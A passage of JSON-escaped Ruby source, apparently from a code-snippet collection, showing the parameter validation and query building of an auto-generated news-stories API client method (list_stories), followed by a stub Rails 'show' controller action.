\\\"sentiment_body_polarity\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"positive\", \"neutral\", \"negative\"]\n if @api_client.config.client_side_validation && opts[:'not_sentiment_body_polarity'] && !allowable_values.include?(opts[:'not_sentiment_body_polarity'])\n fail ArgumentError, \"invalid value for \\\"not_sentiment_body_polarity\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'media_images_count_min'].nil? && opts[:'media_images_count_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_count_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_count_max'].nil? && opts[:'media_images_count_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_count_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_width_min'].nil? && opts[:'media_images_width_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_width_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_width_max'].nil? && opts[:'media_images_width_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_width_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_height_min'].nil? && opts[:'media_images_height_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_height_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_height_max'].nil? && opts[:'media_images_height_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_height_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_content_length_min'].nil? && opts[:'media_images_content_length_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_content_length_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_images_content_length_max'].nil? && opts[:'media_images_content_length_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_content_length_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n allowable_values = [\"BMP\", \"GIF\", \"JPEG\", \"PNG\", \"TIFF\", \"PSD\", \"ICO\", \"CUR\", \"WEBP\", \"SVG\"]\n if @api_client.config.client_side_validation && opts[:'media_images_format'] && !opts[:'media_images_format'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"media_images_format\\\", must include one of #{allowable_values}\"\n end\n allowable_values = [\"BMP\", \"GIF\", \"JPEG\", \"PNG\", \"TIFF\", \"PSD\", \"ICO\", \"CUR\", \"WEBP\", \"SVG\"]\n if @api_client.config.client_side_validation && opts[:'not_media_images_format'] && !opts[:'not_media_images_format'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"not_media_images_format\\\", must include one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'media_videos_count_min'].nil? && opts[:'media_videos_count_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_videos_count_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'media_videos_count_max'].nil? && opts[:'media_videos_count_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_videos_count_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n allowable_values = [\"international\", \"national\", \"local\"]\n if @api_client.config.client_side_validation && opts[:'source_scopes_level'] && !opts[:'source_scopes_level'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"source_scopes_level\\\", must include one of #{allowable_values}\"\n end\n allowable_values = [\"international\", \"national\", \"local\"]\n if @api_client.config.client_side_validation && opts[:'not_source_scopes_level'] && !opts[:'not_source_scopes_level'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"not_source_scopes_level\\\", must include one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'source_links_in_count_min'].nil? && opts[:'source_links_in_count_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_links_in_count_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'source_links_in_count_max'].nil? && opts[:'source_links_in_count_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_links_in_count_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'source_rankings_alexa_rank_min'].nil? && opts[:'source_rankings_alexa_rank_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_rankings_alexa_rank_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'source_rankings_alexa_rank_max'].nil? && opts[:'source_rankings_alexa_rank_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_rankings_alexa_rank_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_facebook_min'].nil? && opts[:'social_shares_count_facebook_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_facebook_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_facebook_max'].nil? && opts[:'social_shares_count_facebook_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_facebook_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_google_plus_min'].nil? && opts[:'social_shares_count_google_plus_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_google_plus_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_google_plus_max'].nil? && opts[:'social_shares_count_google_plus_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_google_plus_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_linkedin_min'].nil? && opts[:'social_shares_count_linkedin_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_linkedin_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_linkedin_max'].nil? && opts[:'social_shares_count_linkedin_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_linkedin_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_reddit_min'].nil? && opts[:'social_shares_count_reddit_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_reddit_min\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'social_shares_count_reddit_max'].nil? && opts[:'social_shares_count_reddit_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_reddit_max\"]\" when calling DefaultApi.list_stories, must be greater than 0.'\n end\n\n allowable_values = [\"id\", \"title\", \"body\", \"summary\", \"source\", \"author\", \"entities\", \"keywords\", \"hashtags\", \"characters_count\", \"words_count\", \"sentences_count\", \"paragraphs_count\", \"categories\", \"social_shares_count\", \"media\", \"sentiment\", \"language\", \"published_at\", \"links\"]\n if @api_client.config.client_side_validation && opts[:'_return'] && !opts[:'_return'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"_return\\\", must include one of #{allowable_values}\"\n end\n allowable_values = [\"relevance\", \"recency\", \"hotness\", \"published_at\", \"social_shares_count\", \"social_shares_count.facebook\", \"social_shares_count.linkedin\", \"social_shares_count.google_plus\", \"social_shares_count.reddit\", \"media.images.count\", \"media.videos.count\", \"source.links_in_count\", \"source.rankings.alexa.rank\", \"source.rankings.alexa.rank.AF\", \"source.rankings.alexa.rank.AX\", \"source.rankings.alexa.rank.AL\", \"source.rankings.alexa.rank.DZ\", \"source.rankings.alexa.rank.AS\", \"source.rankings.alexa.rank.AD\", \"source.rankings.alexa.rank.AO\", \"source.rankings.alexa.rank.AI\", \"source.rankings.alexa.rank.AQ\", \"source.rankings.alexa.rank.AG\", \"source.rankings.alexa.rank.AR\", \"source.rankings.alexa.rank.AM\", \"source.rankings.alexa.rank.AW\", \"source.rankings.alexa.rank.AU\", \"source.rankings.alexa.rank.AT\", \"source.rankings.alexa.rank.AZ\", \"source.rankings.alexa.rank.BS\", \"source.rankings.alexa.rank.BH\", \"source.rankings.alexa.rank.BD\", \"source.rankings.alexa.rank.BB\", \"source.rankings.alexa.rank.BY\", \"source.rankings.alexa.rank.BE\", \"source.rankings.alexa.rank.BZ\", \"source.rankings.alexa.rank.BJ\", \"source.rankings.alexa.rank.BM\", \"source.rankings.alexa.rank.BT\", \"source.rankings.alexa.rank.BO\", \"source.rankings.alexa.rank.BQ\", \"source.rankings.alexa.rank.BA\", \"source.rankings.alexa.rank.BW\", \"source.rankings.alexa.rank.BV\", \"source.rankings.alexa.rank.BR\", \"source.rankings.alexa.rank.IO\", \"source.rankings.alexa.rank.BN\", \"source.rankings.alexa.rank.BG\", \"source.rankings.alexa.rank.BF\", \"source.rankings.alexa.rank.BI\", \"source.rankings.alexa.rank.KH\", \"source.rankings.alexa.rank.CM\", \"source.rankings.alexa.rank.CA\", \"source.rankings.alexa.rank.CV\", \"source.rankings.alexa.rank.KY\", \"source.rankings.alexa.rank.CF\", \"source.rankings.alexa.rank.TD\", \"source.rankings.alexa.rank.CL\", \"source.rankings.alexa.rank.CN\", \"source.rankings.alexa.rank.CX\", \"source.rankings.alexa.rank.CC\", \"source.rankings.alexa.rank.CO\", \"source.rankings.alexa.rank.KM\", \"source.rankings.alexa.rank.CG\", \"source.rankings.alexa.rank.CD\", \"source.rankings.alexa.rank.CK\", \"source.rankings.alexa.rank.CR\", \"source.rankings.alexa.rank.CI\", \"source.rankings.alexa.rank.HR\", \"source.rankings.alexa.rank.CU\", \"source.rankings.alexa.rank.CW\", \"source.rankings.alexa.rank.CY\", \"source.rankings.alexa.rank.CZ\", \"source.rankings.alexa.rank.DK\", \"source.rankings.alexa.rank.DJ\", \"source.rankings.alexa.rank.DM\", \"source.rankings.alexa.rank.DO\", \"source.rankings.alexa.rank.EC\", \"source.rankings.alexa.rank.EG\", \"source.rankings.alexa.rank.SV\", \"source.rankings.alexa.rank.GQ\", \"source.rankings.alexa.rank.ER\", \"source.rankings.alexa.rank.EE\", \"source.rankings.alexa.rank.ET\", \"source.rankings.alexa.rank.FK\", \"source.rankings.alexa.rank.FO\", \"source.rankings.alexa.rank.FJ\", \"source.rankings.alexa.rank.FI\", \"source.rankings.alexa.rank.FR\", \"source.rankings.alexa.rank.GF\", \"source.rankings.alexa.rank.PF\", \"source.rankings.alexa.rank.TF\", \"source.rankings.alexa.rank.GA\", \"source.rankings.alexa.rank.GM\", \"source.rankings.alexa.rank.GE\", \"source.rankings.alexa.rank.DE\", \"source.rankings.alexa.rank.GH\", \"source.rankings.alexa.rank.GI\", \"source.rankings.alexa.rank.GR\", \"source.rankings.alexa.rank.GL\", \"source.rankings.alexa.rank.GD\", \"source.rankings.alexa.rank.GP\", \"source.rankings.alexa.rank.GU\", \"source.rankings.alexa.rank.GT\", \"source.rankings.alexa.rank.GG\", \"source.rankings.alexa.rank.GN\", \"source.rankings.alexa.rank.GW\", \"source.rankings.alexa.rank.GY\", \"source.rankings.alexa.rank.HT\", \"source.rankings.alexa.rank.HM\", \"source.rankings.alexa.rank.VA\", \"source.rankings.alexa.rank.HN\", \"source.rankings.alexa.rank.HK\", \"source.rankings.alexa.rank.HU\", \"source.rankings.alexa.rank.IS\", \"source.rankings.alexa.rank.IN\", \"source.rankings.alexa.rank.ID\", \"source.rankings.alexa.rank.IR\", \"source.rankings.alexa.rank.IQ\", \"source.rankings.alexa.rank.IE\", \"source.rankings.alexa.rank.IM\", \"source.rankings.alexa.rank.IL\", \"source.rankings.alexa.rank.IT\", \"source.rankings.alexa.rank.JM\", \"source.rankings.alexa.rank.JP\", \"source.rankings.alexa.rank.JE\", \"source.rankings.alexa.rank.JO\", \"source.rankings.alexa.rank.KZ\", \"source.rankings.alexa.rank.KE\", \"source.rankings.alexa.rank.KI\", \"source.rankings.alexa.rank.KP\", \"source.rankings.alexa.rank.KR\", \"source.rankings.alexa.rank.KW\", \"source.rankings.alexa.rank.KG\", \"source.rankings.alexa.rank.LA\", \"source.rankings.alexa.rank.LV\", \"source.rankings.alexa.rank.LB\", \"source.rankings.alexa.rank.LS\", \"source.rankings.alexa.rank.LR\", \"source.rankings.alexa.rank.LY\", \"source.rankings.alexa.rank.LI\", \"source.rankings.alexa.rank.LT\", \"source.rankings.alexa.rank.LU\", \"source.rankings.alexa.rank.MO\", \"source.rankings.alexa.rank.MK\", \"source.rankings.alexa.rank.MG\", \"source.rankings.alexa.rank.MW\", \"source.rankings.alexa.rank.MY\", \"source.rankings.alexa.rank.MV\", \"source.rankings.alexa.rank.ML\", \"source.rankings.alexa.rank.MT\", \"source.rankings.alexa.rank.MH\", \"source.rankings.alexa.rank.MQ\", \"source.rankings.alexa.rank.MR\", \"source.rankings.alexa.rank.MU\", \"source.rankings.alexa.rank.YT\", \"source.rankings.alexa.rank.MX\", \"source.rankings.alexa.rank.FM\", \"source.rankings.alexa.rank.MD\", \"source.rankings.alexa.rank.MC\", \"source.rankings.alexa.rank.MN\", \"source.rankings.alexa.rank.ME\", \"source.rankings.alexa.rank.MS\", \"source.rankings.alexa.rank.MA\", \"source.rankings.alexa.rank.MZ\", \"source.rankings.alexa.rank.MM\", \"source.rankings.alexa.rank.NA\", \"source.rankings.alexa.rank.NR\", \"source.rankings.alexa.rank.NP\", \"source.rankings.alexa.rank.NL\", \"source.rankings.alexa.rank.NC\", \"source.rankings.alexa.rank.NZ\", \"source.rankings.alexa.rank.NI\", \"source.rankings.alexa.rank.NE\", \"source.rankings.alexa.rank.NG\", \"source.rankings.alexa.rank.NU\", \"source.rankings.alexa.rank.NF\", \"source.rankings.alexa.rank.MP\", \"source.rankings.alexa.rank.NO\", \"source.rankings.alexa.rank.OM\", \"source.rankings.alexa.rank.PK\", \"source.rankings.alexa.rank.PW\", \"source.rankings.alexa.rank.PS\", \"source.rankings.alexa.rank.PA\", \"source.rankings.alexa.rank.PG\", \"source.rankings.alexa.rank.PY\", \"source.rankings.alexa.rank.PE\", \"source.rankings.alexa.rank.PH\", \"source.rankings.alexa.rank.PN\", \"source.rankings.alexa.rank.PL\", \"source.rankings.alexa.rank.PT\", \"source.rankings.alexa.rank.PR\", \"source.rankings.alexa.rank.QA\", \"source.rankings.alexa.rank.RE\", \"source.rankings.alexa.rank.RO\", \"source.rankings.alexa.rank.RU\", \"source.rankings.alexa.rank.RW\", \"source.rankings.alexa.rank.BL\", \"source.rankings.alexa.rank.SH\", \"source.rankings.alexa.rank.KN\", \"source.rankings.alexa.rank.LC\", \"source.rankings.alexa.rank.MF\", \"source.rankings.alexa.rank.PM\", \"source.rankings.alexa.rank.VC\", \"source.rankings.alexa.rank.WS\", \"source.rankings.alexa.rank.SM\", \"source.rankings.alexa.rank.ST\", \"source.rankings.alexa.rank.SA\", \"source.rankings.alexa.rank.SN\", \"source.rankings.alexa.rank.RS\", \"source.rankings.alexa.rank.SC\", \"source.rankings.alexa.rank.SL\", \"source.rankings.alexa.rank.SG\", \"source.rankings.alexa.rank.SX\", \"source.rankings.alexa.rank.SK\", \"source.rankings.alexa.rank.SI\", \"source.rankings.alexa.rank.SB\", \"source.rankings.alexa.rank.SO\", \"source.rankings.alexa.rank.ZA\", \"source.rankings.alexa.rank.GS\", \"source.rankings.alexa.rank.SS\", \"source.rankings.alexa.rank.ES\", \"source.rankings.alexa.rank.LK\", \"source.rankings.alexa.rank.SD\", \"source.rankings.alexa.rank.SR\", \"source.rankings.alexa.rank.SJ\", \"source.rankings.alexa.rank.SZ\", \"source.rankings.alexa.rank.SE\", \"source.rankings.alexa.rank.CH\", \"source.rankings.alexa.rank.SY\", \"source.rankings.alexa.rank.TW\", \"source.rankings.alexa.rank.TJ\", \"source.rankings.alexa.rank.TZ\", \"source.rankings.alexa.rank.TH\", \"source.rankings.alexa.rank.TL\", \"source.rankings.alexa.rank.TG\", \"source.rankings.alexa.rank.TK\", \"source.rankings.alexa.rank.TO\", \"source.rankings.alexa.rank.TT\", \"source.rankings.alexa.rank.TN\", \"source.rankings.alexa.rank.TR\", \"source.rankings.alexa.rank.TM\", \"source.rankings.alexa.rank.TC\", \"source.rankings.alexa.rank.TV\", \"source.rankings.alexa.rank.UG\", \"source.rankings.alexa.rank.UA\", \"source.rankings.alexa.rank.AE\", \"source.rankings.alexa.rank.GB\", \"source.rankings.alexa.rank.US\", \"source.rankings.alexa.rank.UM\", \"source.rankings.alexa.rank.UY\", \"source.rankings.alexa.rank.UZ\", \"source.rankings.alexa.rank.VU\", \"source.rankings.alexa.rank.VE\", \"source.rankings.alexa.rank.VN\", \"source.rankings.alexa.rank.VG\", \"source.rankings.alexa.rank.VI\", \"source.rankings.alexa.rank.WF\", \"source.rankings.alexa.rank.EH\", \"source.rankings.alexa.rank.YE\", \"source.rankings.alexa.rank.ZM\", \"source.rankings.alexa.rank.ZW\"]\n if @api_client.config.client_side_validation && opts[:'sort_by'] && !allowable_values.include?(opts[:'sort_by'])\n fail ArgumentError, \"invalid value for \\\"sort_by\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"asc\", \"desc\"]\n if @api_client.config.client_side_validation && opts[:'sort_direction'] && !allowable_values.include?(opts[:'sort_direction'])\n fail ArgumentError, \"invalid value for \\\"sort_direction\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling DefaultApi.list_stories, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling DefaultApi.list_stories, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/stories'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'id'] = opts[:'id'] if !opts[:'id'].nil?\n query_params[:'!id'] = opts[:'not_id'] if !opts[:'not_id'].nil?\n query_params[:'title'] = opts[:'title'] if !opts[:'title'].nil?\n query_params[:'body'] = opts[:'body'] if !opts[:'body'].nil?\n query_params[:'text'] = opts[:'text'] if !opts[:'text'].nil?\n query_params[:'translations.en.title'] = opts[:'translations_en_title'] if !opts[:'translations_en_title'].nil?\n query_params[:'translations.en.body'] = opts[:'translations_en_body'] if !opts[:'translations_en_body'].nil?\n query_params[:'translations.en.text'] = opts[:'translations_en_text'] if !opts[:'translations_en_text'].nil?\n query_params[:'language'] = opts[:'language'] if !opts[:'language'].nil?\n query_params[:'!language'] = opts[:'not_language'] if !opts[:'not_language'].nil?\n query_params[:'links.permalink'] = opts[:'links_permalink'] if !opts[:'links_permalink'].nil?\n query_params[:'!links.permalink'] = opts[:'not_links_permalink'] if !opts[:'not_links_permalink'].nil?\n query_params[:'published_at.start'] = opts[:'published_at_start'] if !opts[:'published_at_start'].nil?\n query_params[:'published_at.end'] = opts[:'published_at_end'] if !opts[:'published_at_end'].nil?\n query_params[:'categories.taxonomy'] = opts[:'categories_taxonomy'] if !opts[:'categories_taxonomy'].nil?\n query_params[:'categories.confident'] = opts[:'categories_confident'] if !opts[:'categories_confident'].nil?\n query_params[:'categories.id'] = opts[:'categories_id'] if !opts[:'categories_id'].nil?\n query_params[:'!categories.id'] = opts[:'not_categories_id'] if !opts[:'not_categories_id'].nil?\n query_params[:'categories.label'] = opts[:'categories_label'] if !opts[:'categories_label'].nil?\n query_params[:'!categories.label'] = opts[:'not_categories_label'] if !opts[:'not_categories_label'].nil?\n query_params[:'categories.level'] = opts[:'categories_level'] if !opts[:'categories_level'].nil?\n query_params[:'!categories.level'] = opts[:'not_categories_level'] if !opts[:'not_categories_level'].nil?\n query_params[:'entities.id'] = opts[:'entities_id'] if !opts[:'entities_id'].nil?\n query_params[:'!entities.id'] = opts[:'not_entities_id'] if !opts[:'not_entities_id'].nil?\n query_params[:'entities.links.wikipedia'] = opts[:'entities_links_wikipedia'] if !opts[:'entities_links_wikipedia'].nil?\n query_params[:'!entities.links.wikipedia'] = opts[:'not_entities_links_wikipedia'] if !opts[:'not_entities_links_wikipedia'].nil?\n query_params[:'entities.links.wikidata'] = opts[:'entities_links_wikidata'] if !opts[:'entities_links_wikidata'].nil?\n query_params[:'!entities.links.wikidata'] = opts[:'not_entities_links_wikidata'] if !opts[:'not_entities_links_wikidata'].nil?\n query_params[:'entities.types'] = opts[:'entities_types'] if !opts[:'entities_types'].nil?\n query_params[:'!entities.types'] = opts[:'not_entities_types'] if !opts[:'not_entities_types'].nil?\n query_params[:'entities.stock_tickers'] = opts[:'entities_stock_tickers'] if !opts[:'entities_stock_tickers'].nil?\n query_params[:'!entities.body.stock_tickers'] = opts[:'entities_body_stock_tickers'] if !opts[:'entities_body_stock_tickers'].nil?\n query_params[:'entities.surface_forms.text'] = opts[:'entities_surface_forms_text'] if !opts[:'entities_surface_forms_text'].nil?\n query_params[:'!entities.surface_forms.text'] = opts[:'not_entities_surface_forms_text'] if !opts[:'not_entities_surface_forms_text'].nil?\n query_params[:'entities.title.surface_forms.text'] = opts[:'entities_title_surface_forms_text'] if !opts[:'entities_title_surface_forms_text'].nil?\n query_params[:'!entities.title.surface_forms.text'] = opts[:'not_entities_title_surface_forms_text'] if !opts[:'not_entities_title_surface_forms_text'].nil?\n query_params[:'entities.body.surface_forms.text'] = opts[:'entities_body_surface_forms_text'] if !opts[:'entities_body_surface_forms_text'].nil?\n query_params[:'!entities.body.surface_forms.text'] = opts[:'not_entities_body_surface_forms_text'] if !opts[:'not_entities_body_surface_forms_text'].nil?\n query_params[:'sentiment.title.polarity'] = opts[:'sentiment_title_polarity'] if !opts[:'sentiment_title_polarity'].nil?\n query_params[:'!sentiment.title.polarity'] = opts[:'not_sentiment_title_polarity'] if !opts[:'not_sentiment_title_polarity'].nil?\n query_params[:'sentiment.body.polarity'] = opts[:'sentiment_body_polarity'] if !opts[:'sentiment_body_polarity'].nil?\n query_params[:'!sentiment.body.polarity'] = opts[:'not_sentiment_body_polarity'] if !opts[:'not_sentiment_body_polarity'].nil?\n query_params[:'media.images.count.min'] = opts[:'media_images_count_min'] if !opts[:'media_images_count_min'].nil?\n query_params[:'media.images.count.max'] = opts[:'media_images_count_max'] if !opts[:'media_images_count_max'].nil?\n query_params[:'media.images.width.min'] = opts[:'media_images_width_min'] if !opts[:'media_images_width_min'].nil?\n query_params[:'media.images.width.max'] = opts[:'media_images_width_max'] if !opts[:'media_images_width_max'].nil?\n query_params[:'media.images.height.min'] = opts[:'media_images_height_min'] if !opts[:'media_images_height_min'].nil?\n query_params[:'media.images.height.max'] = opts[:'media_images_height_max'] if !opts[:'media_images_height_max'].nil?\n query_params[:'media.images.content_length.min'] = opts[:'media_images_content_length_min'] if !opts[:'media_images_content_length_min'].nil?\n query_params[:'media.images.content_length.max'] = opts[:'media_images_content_length_max'] if !opts[:'media_images_content_length_max'].nil?\n query_params[:'media.images.format'] = opts[:'media_images_format'] if !opts[:'media_images_format'].nil?\n query_params[:'!media.images.format'] = opts[:'not_media_images_format'] if !opts[:'not_media_images_format'].nil?\n query_params[:'media.videos.count.min'] = opts[:'media_videos_count_min'] if !opts[:'media_videos_count_min'].nil?\n query_params[:'media.videos.count.max'] = opts[:'media_videos_count_max'] if !opts[:'media_videos_count_max'].nil?\n query_params[:'author.id'] = opts[:'author_id'] if !opts[:'author_id'].nil?\n query_params[:'!author.id'] = opts[:'not_author_id'] if !opts[:'not_author_id'].nil?\n query_params[:'author.name'] = opts[:'author_name'] if !opts[:'author_name'].nil?\n query_params[:'!author.name'] = opts[:'not_author_name'] if !opts[:'not_author_name'].nil?\n query_params[:'source.id'] = opts[:'source_id'] if !opts[:'source_id'].nil?\n query_params[:'!source.id'] = opts[:'not_source_id'] if !opts[:'not_source_id'].nil?\n query_params[:'source.name'] = opts[:'source_name'] if !opts[:'source_name'].nil?\n query_params[:'!source.name'] = opts[:'not_source_name'] if !opts[:'not_source_name'].nil?\n query_params[:'source.domain'] = opts[:'source_domain'] if !opts[:'source_domain'].nil?\n query_params[:'!source.domain'] = opts[:'not_source_domain'] if !opts[:'not_source_domain'].nil?\n query_params[:'source.locations.country'] = opts[:'source_locations_country'] if !opts[:'source_locations_country'].nil?\n query_params[:'!source.locations.country'] = opts[:'not_source_locations_country'] if !opts[:'not_source_locations_country'].nil?\n query_params[:'source.locations.state'] = opts[:'source_locations_state'] if !opts[:'source_locations_state'].nil?\n query_params[:'!source.locations.state'] = opts[:'not_source_locations_state'] if !opts[:'not_source_locations_state'].nil?\n query_params[:'source.locations.city'] = opts[:'source_locations_city'] if !opts[:'source_locations_city'].nil?\n query_params[:'!source.locations.city'] = opts[:'not_source_locations_city'] if !opts[:'not_source_locations_city'].nil?\n query_params[:'source.scopes.country'] = opts[:'source_scopes_country'] if !opts[:'source_scopes_country'].nil?\n query_params[:'!source.scopes.country'] = opts[:'not_source_scopes_country'] if !opts[:'not_source_scopes_country'].nil?\n query_params[:'source.scopes.state'] = opts[:'source_scopes_state'] if !opts[:'source_scopes_state'].nil?\n query_params[:'!source.scopes.state'] = opts[:'not_source_scopes_state'] if !opts[:'not_source_scopes_state'].nil?\n query_params[:'source.scopes.city'] = opts[:'source_scopes_city'] if !opts[:'source_scopes_city'].nil?\n query_params[:'!source.scopes.city'] = opts[:'not_source_scopes_city'] if !opts[:'not_source_scopes_city'].nil?\n query_params[:'source.scopes.level'] = opts[:'source_scopes_level'] if !opts[:'source_scopes_level'].nil?\n query_params[:'!source.scopes.level'] = opts[:'not_source_scopes_level'] if !opts[:'not_source_scopes_level'].nil?\n query_params[:'source.links_in_count.min'] = opts[:'source_links_in_count_min'] if !opts[:'source_links_in_count_min'].nil?\n query_params[:'source.links_in_count.max'] = opts[:'source_links_in_count_max'] if !opts[:'source_links_in_count_max'].nil?\n query_params[:'source.rankings.alexa.rank.min'] = opts[:'source_rankings_alexa_rank_min'] if !opts[:'source_rankings_alexa_rank_min'].nil?\n query_params[:'source.rankings.alexa.rank.max'] = opts[:'source_rankings_alexa_rank_max'] if !opts[:'source_rankings_alexa_rank_max'].nil?\n query_params[:'source.rankings.alexa.country'] = opts[:'source_rankings_alexa_country'] if !opts[:'source_rankings_alexa_country'].nil?\n query_params[:'social_shares_count.facebook.min'] = opts[:'social_shares_count_facebook_min'] if !opts[:'social_shares_count_facebook_min'].nil?\n query_params[:'social_shares_count.facebook.max'] = opts[:'social_shares_count_facebook_max'] if !opts[:'social_shares_count_facebook_max'].nil?\n query_params[:'social_shares_count.google_plus.min'] = opts[:'social_shares_count_google_plus_min'] if !opts[:'social_shares_count_google_plus_min'].nil?\n query_params[:'social_shares_count.google_plus.max'] = opts[:'social_shares_count_google_plus_max'] if !opts[:'social_shares_count_google_plus_max'].nil?\n query_params[:'social_shares_count.linkedin.min'] = opts[:'social_shares_count_linkedin_min'] if !opts[:'social_shares_count_linkedin_min'].nil?\n query_params[:'social_shares_count.linkedin.max'] = opts[:'social_shares_count_linkedin_max'] if !opts[:'social_shares_count_linkedin_max'].nil?\n query_params[:'social_shares_count.reddit.min'] = opts[:'social_shares_count_reddit_min'] if !opts[:'social_shares_count_reddit_min'].nil?\n query_params[:'social_shares_count.reddit.max'] = opts[:'social_shares_count_reddit_max'] if !opts[:'social_shares_count_reddit_max'].nil?\n query_params[:'clusters'] = opts[:'clusters'] if !opts[:'clusters'].nil?\n query_params[:'return'] = opts[:'_return'] if !opts[:'_return'].nil?\n query_params[:'aql'] = opts[:'aql'] if !opts[:'aql'].nil?\n query_params[:'aql_default_field'] = opts[:'aql_default_field'] if !opts[:'aql_default_field'].nil?\n query_params[:'query'] = opts[:'query'] if !opts[:'query'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'sort_direction'] = opts[:'sort_direction'] if !opts[:'sort_direction'].nil?\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/xml'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Stories' \n\n # auth_names\n auth_names = opts[:auth_names] || ['app_id', 'app_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_stories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n\t\t# params[:id] is the number in the url that we are looking for\n\t\t# @story = Story.find(params[:id])\n\t\t\n\tend",
